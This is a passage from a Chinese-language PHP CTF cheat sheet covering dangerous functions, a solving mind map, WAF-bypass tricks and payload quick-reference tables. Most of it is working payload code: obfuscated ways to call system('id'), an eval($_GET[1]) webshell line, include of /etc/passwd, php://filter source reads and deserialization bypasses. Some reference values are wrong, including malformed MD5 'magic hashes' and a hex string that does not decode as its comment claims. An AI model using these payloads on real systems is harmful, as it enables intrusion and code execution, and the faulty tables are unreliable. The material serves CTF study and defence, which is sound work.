file_put_contents() fwrite() move_uploaded_file()
// ── 变量覆盖 ──
extract() parse_str() $$var import_request_variables()
// ── 反序列化 ──
unserialize() json_decode() // 结合 PHP 对象注入
// ── SSRF ──
file_get_contents() curl_exec() fopen() fsockopen()
// ── XSS ──
print printf() sprintf() htmlspecialchars_decode()
// ── SQL 注入 ──
mysql_query() mysqli::query() PDO::query() // 使用字符串拼接时
12.3 CTF 解题思维导图
发现 PHP 应用
↓
信息收集:phpinfo / 报错信息 / 源码泄露(?source / .phps / git泄露)
↓
寻找注入点:
├── GET/POST 参数
├── Cookie 参数
├── HTTP 头(User-Agent / X-Forwarded-For / Referer)
└── 文件名(上传功能)
↓
分析代码逻辑:
├── 弱类型比较 → 0e 哈希 / strcmp 数组 / in_array 绕过
├── 变量覆盖 → extract / parse_str / $$
├── 正则绕过 → 回溯限制 / ^ $ 多行模式 / 数组
├── 序列化 → POP 链 / __wakeup 绕过 / 字符串逃逸
├── 文件包含 → 伪协议 / 日志污染 / Session 污染
└── 命令执行 → 危险函数 / disable_functions 绕过
↓
利用漏洞:
├── 信息泄露(读取配置/源码/flag)
├── 权限绕过(修改 session/cookie/变量)
└── RCE(WebShell / 反弹Shell)
13、WAF 绕过技巧
13.1 关键字过滤绕过
<?php
// ── 大小写绕过(适用于 case-insensitive 匹配)──
SyStEm("id");
SYSTEM("id");
sYsTeM("id");
// ── 字符串拼接绕过 ──
$f = 'sys'.'tem';
$f("id");
("sys"."tem")("id");
call_user_func('sys'.'tem', 'id');
// ── 变量拼接 ──
$a = 'sy'; $b = 'stem'; ($a.$b)('id');
// ── Base64 解码 ──
call_user_func(base64_decode('c3lzdGVt'), 'id');
$f = base64_decode('c3lzdGVt'); $f('id'); // system
// ── hex2bin ──
$f = hex2bin('73797374656d'); $f('id'); // system
// ── str_rot13 ──
$f = str_rot13('flfgrz'); $f('id'); // system
// ── 反转字符串 ──
$f = strrev('metsys'); $f('id'); // system
// ── chr 拼接 ──
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $f('id');
// ── Unicode 绕过(部分 WAF)──
// 某些 WAF 对 Unicode 处理不当,可用全角字母
// System("id");(全角,PHP 实际不识别)
// ── 利用 PHP 内置函数构造 ──
$f = implode('', ['s','y','s','t','e','m']); $f('id');
$f = join('', array_map('chr', [115,121,115,116,101,109])); $f('id');
13.2 括号过滤绕过
<?php
// 当括号被过滤时(某些 PHP 版本和配置)
// ── 方法一:使用 require / include(语言结构,不需括号)──
require "/etc/passwd";
include "/etc/passwd";
// ── 方法二:echo / print ──
echo "content"; // 不需要括号
print "content"; // 不需要括号
die "message"; // 不需要括号
// ── 方法三:强制类型转换 ──
(string)$obj; // 不是函数,但仍使用括号...
// ── 方法四:直接调用(PHP 8 命名参数)──
// 某些场景可通过其他方式绕过括号需求
// ── 方法五:利用 PHP 标签 ──
<?= system('id') ?> // short_open_tag 开启时
13.3 空格过滤绕过
<?php
// 替代空格的字符
/*注释*/ system/**/("id"); // 注释替代空格
\t (Tab) system\t("id") // 制表符(在 Shell 中)
\n (换行) 系统内部使用
%09 URL 编码的 Tab
%0a URL 编码的换行
%0d URL 编码的回车
{ ${IFS} // Shell 中的 IFS
// PHP 代码中空格可用以下替代(在特定场景)
system/**/"id"; // 函数调用不需要空格
13.4 引号过滤绕过
<?php
// 当单双引号均被过滤时
// ── 方法一:从 GET/POST 参数获取字符串 ──
$_GET[cmd]; // 不需要引号包裹键名
$_POST[cmd]; // 同上(仅在字符串上下文中)
$$_GET[var]; // 可变变量
// ── 方法二:chr() 函数构造 ──
system(chr(105).chr(100)); // "id"
// ── 方法三:数字进制表示 ──
system(\x69\x64); // 不行,PHP 不支持这种写法
// 但 HEX 字符串可以
system(hex2bin(696e64)); // 需要引号...
// ── 方法四:利用环境变量和字符串 ──
// 在 eval 上下文中
eval($_GET[1]); // 不需要引号传入 1
// ── 方法五:利用 PHP 已有字符串中的字符 ──
// $var = $_SERVER['DOCUMENT_ROOT']
// 从中提取字符构造命令
13.5 分号过滤绕过
<?php
// PHP 中最后一条语句可以省略分号(在某些上下文)
// ── 利用 PHP 结束标签 ──
<?php system('id') ?> // ?> 隐含了分号
echo system('id') ?> // 同上
// ── 利用大括号 ──
<?php {system('id')} // 不行,语法不支持
if(1){system('id')} // 需要括号...
13.6 特殊字符与混淆技术
<?php
// ── 利用 PHP Here-doc 绕过 ──
$cmd = <<<EOT
id
EOT;
system($cmd);
// ── 利用 PHP Nowdoc ──
$cmd = <<<'EOT'
id
EOT;
system($cmd);
// ── 多重编码绕过 ──
// URL 二次编码:%2527 → %27 → '
// 服务器解码一次后送给 PHP,PHP 解码后得到单引号
// ── 利用 PHP 字符串语法 ──
"\x73\x79\x73\x74\x65\x6d"("id"); // "\x73..." = "system"
"\115\141\151\154"('', '', ''); // 八进制字符串 "Mail"
// ── 利用 PHP 常量 ──
// true == 1, false == "", null == ""
define('CMD', 'system');
CMD('id'); // 若允许定义常量
// ── 利用全局变量 ──
$GLOBALS['f'] = 'system';
$GLOBALS['f']('id');
13.7 CTF 常用绕过速查表
| 过滤内容 | 绕过方法 |
|---|---|
system |
base64_decode / str_rot13 / strrev / 拼接 |
assert |
同上,或用 eval 替代 |
eval |
assert(PHP < 8)/ preg_replace /e(PHP < 7) |
_ 下划线 |
chr(95) / 从已有字符串中提取 / GET 参数传入 |
| 数字 | true=1 / count([x]) / strlen(x) |
| 空格 | /***/ / %09 / %0a |
| 引号 | chr() / GET 参数裸传 |
| 括号 | 语言结构(include echo die) |
| 点号 | 改用其他字符串拼接方式 |
[ ] |
{ } 替代数组索引 |
附录
A. PHP 弱类型比较速查(PHP 7 vs PHP 8)
| 比较 | PHP 7 | PHP 8 |
|---|---|---|
0 == "abc" |
true |
false ✓ |
0 == "" |
true |
false ✓ |
0 == "0" |
true |
true |
"1" == "01" |
true |
true |
"10" == "1e1" |
true |
true |
100 == "1e2" |
true |
true |
null == "" |
true |
true |
null == "0" |
false |
false |
null == false |
true |
true |
"php" == true |
true |
true |
"" == false |
true |
true |
B. 魔术哈希速查表
| 字符串 | 哈希类型 | 哈希值(0e开头) |
|---|---|---|
240610708 |
MD5 | 0e462097431906509019562988736854 |
QNKCDZO |
MD5 | 0e830400451993494058024219903391 |
aabg7XSs |
MD5 | 0e087386482136013740957780965295 |
aabC9RqS |
MD5 | 0e041022518165728065344349536299 |
aaroZmOk |
MD5 | 0e66507019969427134894567494305 |
aaK1STfY |
MD5 | 0e76658526655756207688271159624022 |
10932435112 |
SHA1 | 0e07766915004133176347055865026311842794 |
C. 常用 PHP 特性利用 Payload 速查
// 弱类型绕过 md5 比较
?a=QNKCDZO&b=240610708
// strcmp 数组绕过
?pass[]=anything
// preg_match 回溯绕过
# 超长字符串 + 恶意代码
// extract 变量覆盖
# POST: auth=1&role=admin
// 序列化 __wakeup 绕过(属性数+1)
O:4:"User":3:{...} # 实际只有2个属性
// 无字母数字执行
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c"); // system("id")
// php://filter 读源码
php://filter/convert.base64-encode/resource=index.php
// 反序列化 POP 链
# 寻找 __destruct/__wakeup/__toString 作为入口,串联执行链
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。请在合法合规的环境中学习与实践,未经授权利用这些技术属于违法行为。